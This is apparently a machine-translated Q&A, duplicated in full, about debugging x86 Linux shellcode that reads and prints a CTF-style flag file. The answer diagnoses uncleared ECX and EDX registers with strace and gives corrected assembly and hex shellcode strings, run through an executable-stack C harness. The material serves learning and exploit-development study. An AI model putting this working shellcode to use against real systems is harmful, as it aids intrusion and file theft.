从二进制文件中提取时,Shellcode 不起作用
Shellcode doesn't work when pulled out of binary
我正在学习编写 shellcode 并尝试读取文件(在本例中,/flag/level1.flag)。此文件包含一个字符串。
通过查看在线教程,我得出了以下shellcode。它打开文件,逐字节读取(将每个字节压入堆栈),然后写入 stdout,给出指向堆栈顶部的指针。
section .text
global _start
_start:
jmp ender
starter:
pop ebx ; ebx -> ["/flag/level1.flag"]
xor eax, eax
mov al, 0x5 ; open()
int 0x80
mov esi, eax ; [file handle to flag]
jmp read
exit:
xor eax, eax
mov al, 0x1 ; exit()
xor ebx, ebx ; return code: 0
int 0x80
read:
xor eax, eax
mov al, 0x3 ; read()
mov ebx, esi ; file handle to flag
mov ecx, esp ; read into stack
mov dl, 0x1 ; read 1 byte
int 0x80
xor ebx, ebx
cmp eax, ebx
je exit ; if read() returns 0x0, exit
xor eax, eax
mov al, 0x4 ; write()
mov bl, 0x1 ; stdout
int 0x80
inc esp
jmp read ; loop
ender:
call starter
string: db "/flag/level1.flag"
以下是我编译和测试它的方法:
nasm -f elf -o test.o test.asm
ld -m elf_i386 -o test test.o
当我运行./test
时,我得到了预期的结果。现在,如果我从二进制文件中提取 shellcode 并在精简的 C 运行ner:
中对其进行测试
char code[] = \
"\xeb\x30\x5b\x31\xc0\xb0\x05\xcd\x80\x89\xc6\xeb\x08\x31\xc0\xb0\x01\x31\xdb\xcd\x80\x31\xc0\xb0\x03\x89\xf3\x89\xe1\xb2\x01\xcd\x80\x31\xdb\x39\xd8\x74\xe6\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x44\xeb\xe3\xe8\xcb\xff\xff\xff\x2f\x66\x6c\x61\x67\x2f\x6c\x65\x76\x65\x6c\x31\x2e\x66\x6c\x61\x67";
int main(int argc, char **argv){
int (*exeshell)();
exeshell = (int (*)()) code;
(int)(*exeshell)();
}
编译方式如下:
gcc -m32 -fno-stack-protector -z execstack -o shellcode shellcode.c
然后 运行 它,我看到我正确读取了文件,但随后继续向终端打印垃圾(我必须按 Ctrl+C)。
我猜这与 read()
没有遇到 \x00
有关,因此继续从堆栈打印数据,直到找到空标记。那是对的吗?如果是这样,为什么编译后的二进制文件可以工作?
TL;DR:当 运行ning 作为目标可执行文件中的漏洞利用时,永远不要假设寄存器的状态。如果您需要将整个寄存器清零,您必须自己动手。 运行ning 独立和在 运行ning 程序中的行为可能会有所不同,具体取决于漏洞利用开始执行时寄存器中的内容。
如果你正确地构建了你的 C 代码确保堆栈是可执行的并且你构建了一个 32 位的 exploit 并且 运行 它在一个 32 位的可执行文件中(正如你所做的那样),如果你没有正确地将寄存器正确清零,那么当不是独立的时候事情可能会失败的主要原因。作为一个独立的程序,许多寄存器可能是 0 或在高 24 位中有 0,而在 运行ning 程序中可能不是这种情况。这可能会导致您的系统调用行为不同。
调试 shell 代码的最佳工具之一是像 GDB 这样的调试器。您可以在系统调用 (int 0x80
) 之前单步执行漏洞并查看寄存器状态。在这种情况下,更简单的方法是 STRACE 工具(系统跟踪)。它将向您显示程序发出的所有系统调用和参数。
如果您 运行 strace ./test >output
在 /flag/level1.flag
包含的独立程序上:
test
您可能会看到 STRACE 输出类似于:
execve("./test", ["./test"], [/* 26 vars */]) = 0
strace: [ Process PID=25264 runs in 32 bit mode. ]
open("/flag/level1.flag", O_RDONLY) = 3
read(3, "t", 1) = 1
write(1, "t", 1) = 1
read(3, "e", 1) = 1
write(1, "e", 1) = 1
read(3, "s", 1) = 1
write(1, "s", 1) = 1
read(3, "t", 1) = 1
write(1, "t", 1) = 1
read(3, "\n", 1) = 1
write(1, "\n", 1
) = 1
read(3, "", 1) = 0
exit(0) = ?
+++ exited with 0 +++
我将标准输出重定向到文件 output
所以它不会使 STRACE 输出混乱。您可以看到文件 /flag/level1.flag
被打开为 O_RDONLY 并且返回了文件描述符 3。然后一次读取 1 个字节并将其写入标准输出(文件描述符 1)。 output
文件包含 /flag/level1.flag
.
中的数据
现在 运行 在您的 shell 代码程序上使用 STRACE 并检查差异。在读取标志文件之前忽略所有系统调用,因为这些是 shellcode
程序在进入你的漏洞之前直接或间接进行的系统调用。输出可能看起来不完全像这样,但可能相似。
open("/flag/level1.flag", O_RDONLY|O_NOCTTY|O_TRUNC|O_DIRECT|O_LARGEFILE|O_NOFOLLOW|O_CLOEXEC|O_PATH|O_TMPFILE|0xff800000, 0141444) = -1 EINVAL (Invalid argument)
read(-22, 0xffeac2cc, 4293575425) = -1 EBADF (Bad file descriptor)
write(1, "15_V[=12=][=12=][=12=]43274327@[=12=]`V4Sl7[=12=]327[=12=][=12=][=12=][=12=]"..., 4293575425) = 4096
read(-22, 0xffeac2cd, 4293575425) = -1 EBADF (Bad file descriptor)
write(1, "5_V[=12=][=12=][=12=]43274327@[=12=]`V4Sl7[=12=]327[=12=][=12=][=12=][=12=]6"..., 4293575425) = 4096
[snip]
您应该注意到打开失败并显示 -1 EINVAL (Invalid argument)
,如果您观察传递给打开的标志,则有比 O_RDONLY 多得多的标志。这表明 ECX 中的第二个参数可能没有正确归零。如果您查看您的代码,您会发现:
pop ebx ; ebx -> ["/flag/level1.flag"]
xor eax, eax
mov al, 0x5 ; open()
int 0x80
您没有将 ECX 设置为任何内容。当 运行ning 在真实程序中时 ECX 是非零的。修改代码为:
pop ebx ; ebx -> ["/flag/level1.flag"]
xor eax, eax
xor ecx, ecx
mov al, 0x5 ; open()
int 0x80
现在使用此修复程序生成 shell代码字符串,它可能类似于:
\xeb\x32\x5b\x31\xc0\x31\xc9\xb0\x05\xcd\x80\x89\xc6\xeb\x08\x31\xc0\xb0\x01\x31\xdb\xcd\x80\x31\xc0\xb0\x03\x89\xf3\x89\xe1\xb2\x01\xcd\x80\x31\xdb\x39\xd8\x74\xe6\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x44\xeb\xe3\xe8\xc9\xff\xff\xff\x2f\x66\x6c\x61\x67\x2f\x6c\x65\x76\x65\x6c\x31\x2e\x66\x6c\x61\x67
运行 您的 shellcode
程序中的这个 shell 字符串再次使用 STRACE,输出可能类似于:
open("/flag/level1.flag", O_RDONLY|O_EXCL|O_APPEND|O_DSYNC|0xff800000) = 3
read(3, "test\n", 4286583809) = 5
write(1, "test\n[=15=][=15=][=15=]0707@[=15=]bV43r700\
377[=15=][=15=][=15=][=15=]"..., 4286583809) = 4096
这样比较好,但还是有问题。要读取的字节数(第三个参数)是 4286583809(你的值可能不同)。您的独立代码假设一次读取 1 个字节。这表明 EDX 的高 24 位可能没有正确清零。如果您查看代码,您会执行以下操作:
read:
xor eax, eax
mov al, 0x3 ; read()
mov ebx, esi ; file handle to flag
mov ecx, esp ; read into stack
mov dl, 0x1 ; read 1 byte
int 0x80
在这部分代码(或之前)中,您没有在将 1 放入 DL 之前将 EDX 置零。您可以这样做:
read:
xor eax, eax
mov al, 0x3 ; read()
mov ebx, esi ; file handle to flag
mov ecx, esp ; read into stack
xor edx, edx ; Zero all of EDX
mov dl, 0x1 ; read 1 byte
int 0x80
现在使用此修复程序生成 shell代码字符串,它可能类似于:
\xeb\x34\x5b\x31\xc0\x31\xc9\xb0\x05\xcd\x80\x89\xc6\xeb\x08\x31\xc0\xb0\x01\x31\xdb\xcd\x80\x31\xc0\xb0\x03\x89\xf3\x89\xe1\x31\xd2\xb2\x01\xcd\x80\x31\xdb\x39\xd8\x74\xe4\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x44\xeb\xe1\xe8\xc7\xff\xff\xff\x2f\x66\x6c\x61\x67\x2f\x6c\x65\x76\x65\x6c\x31\x2e\x66\x6c\x61\x67
运行 您的 shellcode
程序中的这个 shell 字符串再次使用 STRACE,输出可能类似于:
open("/flag/level1.flag", O_RDONLY) = 3
read(3, "t", 1) = 1
write(1, "t", 1) = 1
read(3, "e", 1) = 1
write(1, "e", 1) = 1
read(3, "s", 1) = 1
write(1, "s", 1) = 1
read(3, "t", 1) = 1
write(1, "t", 1) = 1
read(3, "\n", 1) = 1
write(1, "\n", 1) = 1
read(3, "", 1) = 0
这会产生所需的行为。查看其余的汇编代码,似乎在任何其他寄存器和系统调用上都没有出现这个错误。使用 GDB 会在每次系统调用之前向您显示有关寄存器状态的类似信息。您会发现寄存器并不总是具有预期值。
我正在学习编写 shellcode 并尝试读取文件(在本例中,/flag/level1.flag)。此文件包含一个字符串。
通过查看在线教程,我得出了以下shellcode。它打开文件,逐字节读取(将每个字节压入堆栈),然后写入 stdout,给出指向堆栈顶部的指针。
section .text
global _start
_start:
jmp ender
starter:
pop ebx ; ebx -> ["/flag/level1.flag"]
xor eax, eax
mov al, 0x5 ; open()
int 0x80
mov esi, eax ; [file handle to flag]
jmp read
exit:
xor eax, eax
mov al, 0x1 ; exit()
xor ebx, ebx ; return code: 0
int 0x80
read:
xor eax, eax
mov al, 0x3 ; read()
mov ebx, esi ; file handle to flag
mov ecx, esp ; read into stack
mov dl, 0x1 ; read 1 byte
int 0x80
xor ebx, ebx
cmp eax, ebx
je exit ; if read() returns 0x0, exit
xor eax, eax
mov al, 0x4 ; write()
mov bl, 0x1 ; stdout
int 0x80
inc esp
jmp read ; loop
ender:
call starter
string: db "/flag/level1.flag"
以下是我编译和测试它的方法:
nasm -f elf -o test.o test.asm
ld -m elf_i386 -o test test.o
当我运行./test
时,我得到了预期的结果。现在,如果我从二进制文件中提取 shellcode 并在精简的 C 运行ner:
char code[] = \
"\xeb\x30\x5b\x31\xc0\xb0\x05\xcd\x80\x89\xc6\xeb\x08\x31\xc0\xb0\x01\x31\xdb\xcd\x80\x31\xc0\xb0\x03\x89\xf3\x89\xe1\xb2\x01\xcd\x80\x31\xdb\x39\xd8\x74\xe6\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x44\xeb\xe3\xe8\xcb\xff\xff\xff\x2f\x66\x6c\x61\x67\x2f\x6c\x65\x76\x65\x6c\x31\x2e\x66\x6c\x61\x67";
int main(int argc, char **argv){
int (*exeshell)();
exeshell = (int (*)()) code;
(int)(*exeshell)();
}
编译方式如下:
gcc -m32 -fno-stack-protector -z execstack -o shellcode shellcode.c
然后 运行 它,我看到我正确读取了文件,但随后继续向终端打印垃圾(我必须按 Ctrl+C)。
我猜这与 read()
没有遇到 \x00
有关,因此继续从堆栈打印数据,直到找到空标记。那是对的吗?如果是这样,为什么编译后的二进制文件可以工作?
TL;DR:当 运行ning 作为目标可执行文件中的漏洞利用时,永远不要假设寄存器的状态。如果您需要将整个寄存器清零,您必须自己动手。 运行ning 独立和在 运行ning 程序中的行为可能会有所不同,具体取决于漏洞利用开始执行时寄存器中的内容。
如果你正确地构建了你的 C 代码确保堆栈是可执行的并且你构建了一个 32 位的 exploit 并且 运行 它在一个 32 位的可执行文件中(正如你所做的那样),如果你没有正确地将寄存器正确清零,那么当不是独立的时候事情可能会失败的主要原因。作为一个独立的程序,许多寄存器可能是 0 或在高 24 位中有 0,而在 运行ning 程序中可能不是这种情况。这可能会导致您的系统调用行为不同。
调试 shell 代码的最佳工具之一是像 GDB 这样的调试器。您可以在系统调用 (int 0x80
) 之前单步执行漏洞并查看寄存器状态。在这种情况下,更简单的方法是 STRACE 工具(系统跟踪)。它将向您显示程序发出的所有系统调用和参数。
如果您 运行 strace ./test >output
在 /flag/level1.flag
包含的独立程序上:
test
您可能会看到 STRACE 输出类似于:
execve("./test", ["./test"], [/* 26 vars */]) = 0 strace: [ Process PID=25264 runs in 32 bit mode. ] open("/flag/level1.flag", O_RDONLY) = 3 read(3, "t", 1) = 1 write(1, "t", 1) = 1 read(3, "e", 1) = 1 write(1, "e", 1) = 1 read(3, "s", 1) = 1 write(1, "s", 1) = 1 read(3, "t", 1) = 1 write(1, "t", 1) = 1 read(3, "\n", 1) = 1 write(1, "\n", 1 ) = 1 read(3, "", 1) = 0 exit(0) = ? +++ exited with 0 +++
我将标准输出重定向到文件 output
所以它不会使 STRACE 输出混乱。您可以看到文件 /flag/level1.flag
被打开为 O_RDONLY 并且返回了文件描述符 3。然后一次读取 1 个字节并将其写入标准输出(文件描述符 1)。 output
文件包含 /flag/level1.flag
.
现在 运行 在您的 shell 代码程序上使用 STRACE 并检查差异。在读取标志文件之前忽略所有系统调用,因为这些是 shellcode
程序在进入你的漏洞之前直接或间接进行的系统调用。输出可能看起来不完全像这样,但可能相似。
open("/flag/level1.flag", O_RDONLY|O_NOCTTY|O_TRUNC|O_DIRECT|O_LARGEFILE|O_NOFOLLOW|O_CLOEXEC|O_PATH|O_TMPFILE|0xff800000, 0141444) = -1 EINVAL (Invalid argument) read(-22, 0xffeac2cc, 4293575425) = -1 EBADF (Bad file descriptor) write(1, "15_V[=12=][=12=][=12=]43274327@[=12=]`V4Sl7[=12=]327[=12=][=12=][=12=][=12=]"..., 4293575425) = 4096 read(-22, 0xffeac2cd, 4293575425) = -1 EBADF (Bad file descriptor) write(1, "5_V[=12=][=12=][=12=]43274327@[=12=]`V4Sl7[=12=]327[=12=][=12=][=12=][=12=]6"..., 4293575425) = 4096 [snip]
您应该注意到打开失败并显示 -1 EINVAL (Invalid argument)
,如果您观察传递给打开的标志,则有比 O_RDONLY 多得多的标志。这表明 ECX 中的第二个参数可能没有正确归零。如果您查看您的代码,您会发现:
pop ebx ; ebx -> ["/flag/level1.flag"]
xor eax, eax
mov al, 0x5 ; open()
int 0x80
您没有将 ECX 设置为任何内容。当 运行ning 在真实程序中时 ECX 是非零的。修改代码为:
pop ebx ; ebx -> ["/flag/level1.flag"]
xor eax, eax
xor ecx, ecx
mov al, 0x5 ; open()
int 0x80
现在使用此修复程序生成 shell代码字符串,它可能类似于:
\xeb\x32\x5b\x31\xc0\x31\xc9\xb0\x05\xcd\x80\x89\xc6\xeb\x08\x31\xc0\xb0\x01\x31\xdb\xcd\x80\x31\xc0\xb0\x03\x89\xf3\x89\xe1\xb2\x01\xcd\x80\x31\xdb\x39\xd8\x74\xe6\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x44\xeb\xe3\xe8\xc9\xff\xff\xff\x2f\x66\x6c\x61\x67\x2f\x6c\x65\x76\x65\x6c\x31\x2e\x66\x6c\x61\x67
运行 您的 shellcode
程序中的这个 shell 字符串再次使用 STRACE,输出可能类似于:
open("/flag/level1.flag", O_RDONLY|O_EXCL|O_APPEND|O_DSYNC|0xff800000) = 3 read(3, "test\n", 4286583809) = 5 write(1, "test\n[=15=][=15=][=15=]0707@[=15=]bV43r700\ 377[=15=][=15=][=15=][=15=]"..., 4286583809) = 4096
这样比较好,但还是有问题。要读取的字节数(第三个参数)是 4286583809(你的值可能不同)。您的独立代码假设一次读取 1 个字节。这表明 EDX 的高 24 位可能没有正确清零。如果您查看代码,您会执行以下操作:
read:
xor eax, eax
mov al, 0x3 ; read()
mov ebx, esi ; file handle to flag
mov ecx, esp ; read into stack
mov dl, 0x1 ; read 1 byte
int 0x80
在这部分代码(或之前)中,您没有在将 1 放入 DL 之前将 EDX 置零。您可以这样做:
read:
xor eax, eax
mov al, 0x3 ; read()
mov ebx, esi ; file handle to flag
mov ecx, esp ; read into stack
xor edx, edx ; Zero all of EDX
mov dl, 0x1 ; read 1 byte
int 0x80
现在使用此修复程序生成 shell代码字符串,它可能类似于:
\xeb\x34\x5b\x31\xc0\x31\xc9\xb0\x05\xcd\x80\x89\xc6\xeb\x08\x31\xc0\xb0\x01\x31\xdb\xcd\x80\x31\xc0\xb0\x03\x89\xf3\x89\xe1\x31\xd2\xb2\x01\xcd\x80\x31\xdb\x39\xd8\x74\xe4\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x44\xeb\xe1\xe8\xc7\xff\xff\xff\x2f\x66\x6c\x61\x67\x2f\x6c\x65\x76\x65\x6c\x31\x2e\x66\x6c\x61\x67
运行 您的 shellcode
程序中的这个 shell 字符串再次使用 STRACE,输出可能类似于:
open("/flag/level1.flag", O_RDONLY) = 3 read(3, "t", 1) = 1 write(1, "t", 1) = 1 read(3, "e", 1) = 1 write(1, "e", 1) = 1 read(3, "s", 1) = 1 write(1, "s", 1) = 1 read(3, "t", 1) = 1 write(1, "t", 1) = 1 read(3, "\n", 1) = 1 write(1, "\n", 1) = 1 read(3, "", 1) = 0
这会产生所需的行为。查看其余的汇编代码,似乎在任何其他寄存器和系统调用上都没有出现这个错误。使用 GDB 会在每次系统调用之前向您显示有关寄存器状态的类似信息。您会发现寄存器并不总是具有预期值。